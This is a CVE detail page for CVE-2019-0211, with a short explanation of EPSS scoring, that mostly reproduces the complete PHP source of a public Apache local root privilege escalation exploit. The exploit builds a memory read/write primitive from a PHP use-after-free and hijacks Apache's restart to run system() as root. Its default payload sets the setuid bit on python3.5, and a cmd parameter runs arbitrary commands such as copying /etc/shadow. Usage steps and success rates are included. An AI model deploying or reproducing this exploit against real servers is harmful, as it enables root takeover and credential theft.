CVE-2019-0211 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

<?php # CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation # Charles Fol # @cfreal_ # 2019-04-08 # # INFOS # # https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html # # USAGE # # 1. Upload exploit to Apache HTTP server # 2. Send request to page # 3. Await 6:25AM for logrotate to restart Apache # 4. python3.5 is now suid 0 # # You can change the command that is ran as root using the cmd HTTP # parameter (GET/POST). # Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/ # # SUCCESS RATE # # Number of successful and failed exploitations relative to of the number # of MPM workers (i.e. Apache subprocesses). YMMV. # # W --% S F # 5 87% 177 26 (default) # 8 89% 60 8 # 10 95% 70 4 # # More workers, higher success rate. # By default (5 workers), 87% success rate. With huge HTTPds, close to 100%. # Generally, failure is due to all_buckets being relocated too far from its # original address. # # TESTED ON # # - Apache/2.4.25 # - PHP 7.2.12 # - Debian GNU/Linux 9.6 # # TESTING # # $ curl http://localhost/cfreal-carpediem.php # $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force # $ ls -alh /usr/bin/python3.5 # -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5 # # There are no hardcoded addresses. # - Addresses read through /proc/self/mem # - Offsets read through ELF parsing # # As usual, there are tons of comments. # o('CARPE (DIEM) ~ CVE-2019-0211'); o(''); error_reporting(E_ALL); # Starts the exploit by triggering the UAF. function real() { global $y; $y = [new Z()]; json_encode([0 => &$y]); } # In order to read/write what comes after in memory, we need to UAF a string so # that we can control its size and make in-place edition. # An easy way to do that is to replace the string by a timelib_rel_time # structure of which the first bytes can be reached by the (y, m, d, h, i, s) # properties of the DateInterval object. # # Steps: # - Create a base object (Z) # - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time) # - Create DateInterval object ($place) meant to be unset and filled by another # - Trigger the UAF by unsetting $y[0], which is still reachable using $this # - Unset $place: at this point, if we create a new DateInterval object, it will # replace $place in memory # - Create a string ($holder) that fills $place's timelib_rel_time structure # - Allocate a new DateInterval object: its timelib_rel_time structure will # end up in place of abc # - Now we can control $this->abc's zend_string structure entirely using # y, m, d etc. # - Increase abc's size so that we can read/write memory that comes after it, # especially the shared memory block # - Find out all_buckets' position by finding a memory region that matches the # mutex->meth structure # - Compute the bucket index required to reach the SHM and get an arbitrary # function call # - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the # bucket class Z implements JsonSerializable { public function jsonSerialize() { global $y, $addresses, $workers_pids; # # Setup memory # o('Triggering UAF'); o(' Creating room and filling empty spaces'); # Fill empty blocks to make sure our allocations will be contiguous # I: Since a lot of allocations/deallocations happen before the script # is ran, two variables instanciated at the same time might not be # contiguous: this can be a problem for a lot of reasons. # To avoid this, we instanciate several DateInterval objects. These # objects will fill a lot of potentially non-contiguous memory blocks, # ensuring we get "fresh memory" in upcoming allocations. $contiguous = []; for($i=0;$i<10;$i++) $contiguous[] = new DateInterval('PT1S'); # Create some space for our UAF blocks not to get overwritten # I: A PHP object is a combination of a lot of structures, such as # zval, zend_object, zend_object_handlers, zend_string, etc., which are # all allocated, and freed when the object is destroyed. # After the UAF is triggered on the object, all the structures that are # used to represent it will be marked as free. # If we create other variables afterwards, those variables might be # allocated in the object's previous memory regions, which might pose # problems for the rest of the exploitation. # To avoid this, we allocate a lot of objects before the UAF, and free # them afterwards. Since PHP's heap is LIFO, when we create other vars, # they will take the place of those objects instead of the object we # are triggering the UAF on. This means our object is "shielded" and # we don't have to worry about breaking it. $room = []; for($i=0;$i<10;$i++) $room[] = new Z(); # Build string meant to fill old DateInterval's timelib_rel_time # I: ptr2str's name is unintuitive here: we just want to allocate a # zend_string of size 78. $_protector = ptr2str(0, 78); o(' Allocating $abc and $p'); # Create ABC # I: This is the variable we will use to R/W memory afterwards. # After we free the Z object, we'll make sure abc is overwritten by a # timelib_rel_time structure under our control. The first 8*8 = 64 bytes # of this structure can be modified easily, meaning we can change the # size of abc. This will allow us to read/write memory after abc. $this->abc = ptr2str(0, 79); # Create $p meant to protect $this's blocks # I: Right after we trigger the UAF, we will unset $p. # This means that the timelib_rel_time structure (TRT) of this object # will be freed. We will then allocate a string ($protector) of the same # size as TRT. Since PHP's heap is LIFO, the string will take the place # of the now-freed TRT in memory. # Then, we create a new DateInterval object ($x). From the same # assumption, every structure constituting this new object will take the # place of the previous structure. Nevertheless, since TRT's memory # block has already been replaced by $protector, the new TRT will be put # in the next free blocks of the same size, which happens to be $abc # (remember, |abc| == |timelib_rel_time|). # We now have the following situation: $x is a DateInterval object whose # internal TRT structure has the same address as $abc's zend_string. $p = new DateInterval('PT1S'); # # Trigger UAF # o(' Unsetting both variables and setting $protector'); # UAF here, $this is usable despite being freed unset($y[0]); # Protect $this's freed blocks unset($p); # Protect $p's timelib_rel_time structure $protector = ".$_protector"; # !!! This is only required for apache # Got no idea as to why there is an extra deallocation (?) $room[] = "!$_protector"; o(' Creating DateInterval object'); # After this line: # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str # We can control the structure of $this->abc and therefore read/write # anything that comes after it in memory by changing its size and # making in-place edits using $this->abc[$position] = $char $x = new DateInterval('PT1S'); # zend_string.refcount = 0 # It will get incremented at some point, and if it is > 1, # zend_assign_to_string_offset() will try to duplicate it before making # the in-place replacement $x->y = 0x00; # zend_string.len $x->d = 0x100; # zend_string.val[0-4] $x->h = 0x13121110; # Verify UAF was successful # We modified stuff via $x; they should be visible by $this->abc, since # they are at the same memory location. if(!( strlen($this->abc) === $x->d && $this->abc[0] == "\x10" && $this->abc[1] == "\x11" && $this->abc[2] == "\x12" && $this->abc[3] == "\x13" )) { o('UAF failed, exiting.'); exit(); } o('UAF successful.'); o(''); # Give us some room # I: As indicated before, just unset a lot of stuff so that next allocs # don't break our fragile UAFd structure. unset($room); # # Setup the R/W primitive # # We control $abc's internal zend_string structure, therefore we can R/W # the shared memory block (SHM), but for that we need to know the # position of $abc in memory # I: We know the absolute position of the SHM, so we need to need abc's # as well, otherwise we cannot compute the offset # Assuming the allocation was contiguous, memory looks like this, with # 0x70-sized fastbins: # [zend_string:abc] # [zend_string:protector] # [FREE#1] # [FREE#2] # Therefore, the address of the 2nd free block is in the first 8 bytes # of the first block: 0x70 * 2 - 24 $address = str2ptr($this->abc, 0x70 * 2 - 24); # The address we got points to FREE#2, hence we're |block| * 3 higher in # memory $address = $address - 0x70 * 3; # The beginning of the string is 24 bytes after its origin $address = $address + 24; o('Address of $abc: 0x' . dechex($address)); o(''); # Compute the size required for our string to include the whole SHM and # apache's memory region $distance = max($addresses['apache'][1], $addresses['shm'][1]) - $address ; $x->d = $distance; # We can now read/write in the whole SHM and apache's memory region. # # Find all_buckets in memory # # We are looking for a structure s.t. # |all_buckets, mutex| = 0x10 # |mutex, meth| = 0x8 # all_buckets is in apache's memory region # mutex is in apache's memory region # meth is in libaprR's memory region # meth's function pointers are in libaprX's memory region o('Looking for all_buckets in memory'); $all_buckets = 0; for( $i = $addresses['apache'][0] + 0x10; $i < $addresses['apache'][1] - 0x08; $i += 8 ) { # mutex $mutex = $pointer = str2ptr($this->abc, $i - $address); if(!in($pointer, $addresses['apache'])) continue; # meth $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address); if(!in($pointer, $addresses['libaprR'])) continue; o(' [&mutex]: 0x' . dechex($i)); o(' [mutex]: 0x' . dechex($mutex)); o(' [meth]: 0x' . dechex($meth)); # meth->* # flags if(str2ptr($this->abc, $pointer - $address) != 0) continue; # methods for($j=0;$j<7;$j++) { $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address); if(!in($m, $addresses['libaprX'])) continue 2; o(' [*]: 0x' . dechex($m)); } $all_buckets = $i - 0x10; o('all_buckets = 0x' . dechex($all_buckets)); break; } if(!$all_buckets) { o('Unable to find all_buckets'); exit(); } o(''); # The address of all_buckets will change when apache is gracefully # restarted. This is a problem because we need to know all_buckets's # address in order to make all_buckets[some_index] point to a memory # region we control. # # Compute potential bucket indexes and their addresses # o('Computing potential bucket indexes and addresses'); # Since we have sizeof($workers_pid) MPM workers, we can fill the rest # of the ap_score_image->servers items, so 256 - sizeof($workers_pids), # with data we like. We keep the one at the top to store our payload. # The rest is sprayed with the address of our payload. $size_prefork_child_bucket = 24; $size_worker_score = 264; # I get strange errors if I use every "free" item, so I leave twice as # many items free. I'm guessing upon startup some $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2); $spray_max = $addresses['shm'][1]; $spray_min = $spray_max - $spray_size; $spray_middle = (int) (($spray_min + $spray_max) / 2); $bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket ); # # Build payload # # A worker_score structure was kept empty to put our payload in $payload_start = $spray_min - $size_worker_score; $z = ptr2str(0); # Payload maxsize 264 - 112 = 152 # Offset 8 cannot be 0, but other than this you can type whatever # command you want $bucket = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : "chmod +s /usr/bin/python3.5"; if(strlen($bucket) > $size_worker_score - 112) { o( 'Payload size is bigger than available space (' . ($size_worker_score - 112) . '), exiting.' ); exit(); } # Align $bucket = str_pad($bucket, $size_worker_score - 112, "\x00"); # apr_proc_mutex_unix_lock_methods_t $meth = $z . $z . $z . $z . $z . $z . # child_init ptr2str($addresses['zend_object_std_dtor']) ; # The second pointer points to meth, and is used before reaching the # arbitrary function call # The third one and the last one are both used by the function call # zend_object_std_dtor(object) => ... => system(&arData[0]->val) $properties = # refcount ptr2str(1) . # u-nTableMask meth ptr2str($payload_start + strlen($bucket)) . # Bucket arData ptr2str($payload_start) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(0, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement $z . # dtor_func_t pDestructor ptr2str($addresses['system']) ; $payload = $bucket . $meth . $properties ; # Write the payload o('Placing payload at address 0x' . dechex($payload_start)); $p = $payload_start - $address; for( $i = 0; $i < strlen($payload); $i++ ) { $this->abc[$p+$i] = $payload[$i]; } # Fill the spray area with a pointer to properties $properties_address = $payload_start + strlen($bucket) + strlen($meth); o('Spraying pointer'); o(' Address: 0x' . dechex($properties_address)); o(' From: 0x' . dechex($spray_min)); o(' To: 0x' . dechex($spray_max)); o(' Size: 0x' . dechex($spray_size)); o(' Covered: 0x' . dechex($spray_size * count($workers_pids))); o(' Apache: 0x' . dechex( $addresses['apache'][1] - $addresses['apache'][0] )); $s_properties_address = ptr2str($properties_address); for( $i = $spray_min; $i < $spray_max; $i++ ) { $this->abc[$i - $address] = $s_properties_address[$i % 8]; } o(''); # Find workers PID in the SHM: it indicates the beginning of their # process_score structure. We can then change process_score.bucket to # the index we computed. When apache reboots, it will use # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex # which means we control the whole apr_proc_mutex_t structure. # This structure contains pointers to multiple functions, especially # mutex->meth->child_init(), which will be called before privileges # are dropped. # We do this for every worker PID, incrementing the bucket index so that # we cover a bigger range. o('Iterating in SHM to find PIDs...'); # Number of bucket indexes covered by our spray $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket); # Number of bucket indexes covered by our spray and the PS structures $total_nb_buckets = $spray_nb_buckets * count($workers_pids); # First bucket index to handle $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); # Iterate over every process_score structure until we find every PID or # we reach the end of the SHM for( $p = $addresses['shm'][0] + 0x20; $p < $addresses['shm'][1] && count($workers_pids) > 0; $p += 0x24 ) { $l = $p - $address; $current_pid = str2ptr($this->abc, $l, 4); o('Got PID: ' . $current_pid); # The PID matches one of the workers if(in_array($current_pid, $workers_pids)) { unset($workers_pids[$current_pid]); o(' PID matches'); # Update bucket address $s_bucket_index = pack('l', $bucket_index); $this->abc[$l + 0x20] = $s_bucket_index[0]; $this->abc[$l + 0x21] = $s_bucket_index[1]; $this->abc[$l + 0x22] = $s_bucket_index[2]; $this->abc[$l + 0x23] = $s_bucket_index[3]; o(' Changed bucket value to ' . $bucket_index); $min = $spray_min - $size_prefork_child_bucket * $bucket_index; $max = $spray_max - $size_prefork_child_bucket * $bucket_index; o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max)); # This bucket range is covered, go to the next one $bucket_index += $spray_nb_buckets; } } if(count($workers_pids) > 0) { o( 'Unable to find PIDs ' . implode(', ', $workers_pids) . ' in SHM, exiting.' ); exit(); } o(''); o('EXPLOIT SUCCESSFUL.'); o('Await 6:25AM.'); return 0; } } function o($msg) { # No concatenation -> no string allocation print($msg); print("\n"); } function ptr2str($ptr, $m=8) { $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function str2ptr(&$str, $p, $s=8) { $address = 0; for($j=$s-1;$j>=0;$j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function in($i, $range) { return $i >= $range[0] && $i < $range[1]; } /** * Finds the offset of a symbol in a file. */ function find_symbol($file, $symbol) { $elf = file_get_contents($file); $e_shoff = str2ptr($elf, 0x28); $e_shentsize = str2ptr($elf, 0x3a, 2); $e_shnum = str2ptr($elf, 0x3c, 2); $dynsym_off = 0; $dynsym_sz = 0; $dynstr_off = 0; for($i=0;$i<$e_shnum;$i++) { $offset = $e_shoff + $i * $e_shentsize; $sh_type = str2ptr($elf, $offset + 0x04, 4); $SHT_DYNSYM = 11; $SHT_SYMTAB = 2; $SHT_STRTAB = 3; switch($sh_type) { case $SHT_DYNSYM: $dynsym_off = str2ptr($elf, $offset + 0x18, 8); $dynsym_sz = str2ptr($elf, $offset + 0x20, 8); break; case $SHT_STRTAB: case $SHT_SYMTAB: if(!$dynstr_off) $dynstr_off = str2ptr($elf, $offset + 0x18, 8); break; } } if(!($dynsym_off && $dynsym_sz && $dynstr_off)) exit('.'); $sizeof_Elf64_Sym = 0x18; for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++) { $offset = $dynsym_off + $i * $sizeof_Elf64_Sym; $st_name = str2ptr($elf, $offset, 4); if(!$st_name) continue; $offset_string = $dynstr_off + $st_name; $end = strpos($elf, "\x00", $offset_string) - $offset_string; $string = substr($elf, $offset_string, $end); if($string == $symbol) { $st_value = str2ptr($elf, $offset + 0x8, 8); return $st_value; } } die('Unable to find symbol ' . $symbol); } # Obtains the addresses of the shared memory block and some functions through # /proc/self/maps # This is hacky as hell. function get_all_addresses() { $addresses = []; $data = file_get_contents('/proc/self/maps'); $follows_shm = false; foreach(explode("\n", $data) as $line) { if(!isset($addresses['shm']) && strpos($line, '/dev/zero')) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); if ($bounds[1] - $bounds[0] == 0x14000) { $addresses['shm'] = $bounds; $follows_shm = true; } } if( preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) && strpos($line, 'r-xp') ) { $offset = find_symbol($matches[1], 'system'); $line = explode(' ', $line)[0]; $line = hexdec(explode('-', $line)[0]); $addresses['system'] = $line + $offset; } if( strpos($line, 'libapr-1.so') && strpos($line, 'r-xp') ) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); $addresses['libaprX'] = $bounds; } if( strpos($line, 'libapr-1.so') && strpos($line, 'r--p') ) { $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); $addresses['libaprR'] = $bounds; } # Apache's memory block is between the SHM and ld.so # Sometimes some rwx region gets mapped; all_buckets cannot be in there # but we include it anyways for the sake of simplicity if( ( strpos($line, 'rw-p') || strpos($line, 'rwxp') ) && $follows_shm ) { if(strpos($line, '/lib')) { $follows_shm = false; continue; } $line = explode(' ', $line)[0]; $bounds = array_map('hexdec', explode('-', $line)); if(!array_key_exists('apache', $addresses)) $addresses['apache'] = $bounds; else if($addresses['apache'][1] == $bounds[0]) $addresses['apache'][1] = $bounds[1]; else $follows_shm = false; } if( preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) && strpos($line, 'r-xp') ) { $offset = find_symbol($matches[1], 'zend_object_std_dtor'); $line = explode(' ', $line)[0]; $line = hexdec(explode('-', $line)[0]); $addresses['zend_object_std_dtor'] = $line + $offset; } } $expected = [ 'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor' ]; $missing = array_diff($expected, array_keys($addresses)); if($missing) { o( 'The following addresses were not determined by parsing ' . '/proc/self/maps: ' . implode(', ', $missing) ); exit(0); } o('PID: ' . getmypid()); o('Fetching addresses'); foreach($addresses as $k => $a) { if(!is_array($a)) $a = [$a]; o(' ' . $k . ': ' . implode('-0x', array_map(function($z) { return '0x' . dechex($z); }, $a))); } o(''); return $addresses; } # Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status, # matching the cmdline and the UID function get_workers_pids() { o('Obtaining apache workers PIDs'); $pids = []; $cmd = file_get_contents('/proc/self/cmdline'); $processes = glob('/proc/*'); foreach($processes as $process) { if(!preg_match('#^/proc/([0-9]+)$#', $process, $match)) continue; $pid = (int) $match[1]; if( !is_readable($process . '/cmdline') || !is_readable($process . '/status') ) continue; if($cmd !== file_get_contents($process . '/cmdline')) continue; $status = file_get_contents($process . '/status'); foreach(explode("\n", $status) as $line) { if( strpos($line, 'Uid:') === 0 && preg_match('#\b' . posix_getuid() . '\b#', $line) ) { o(' Found apache worker: ' . $pid); $pids[$pid] = $pid; break; } } } o('Got ' . sizeof($pids) . ' PIDs.'); o(''); return $pids; } $addresses = get_all_addresses(); $workers_pids = get_workers_pids(); real();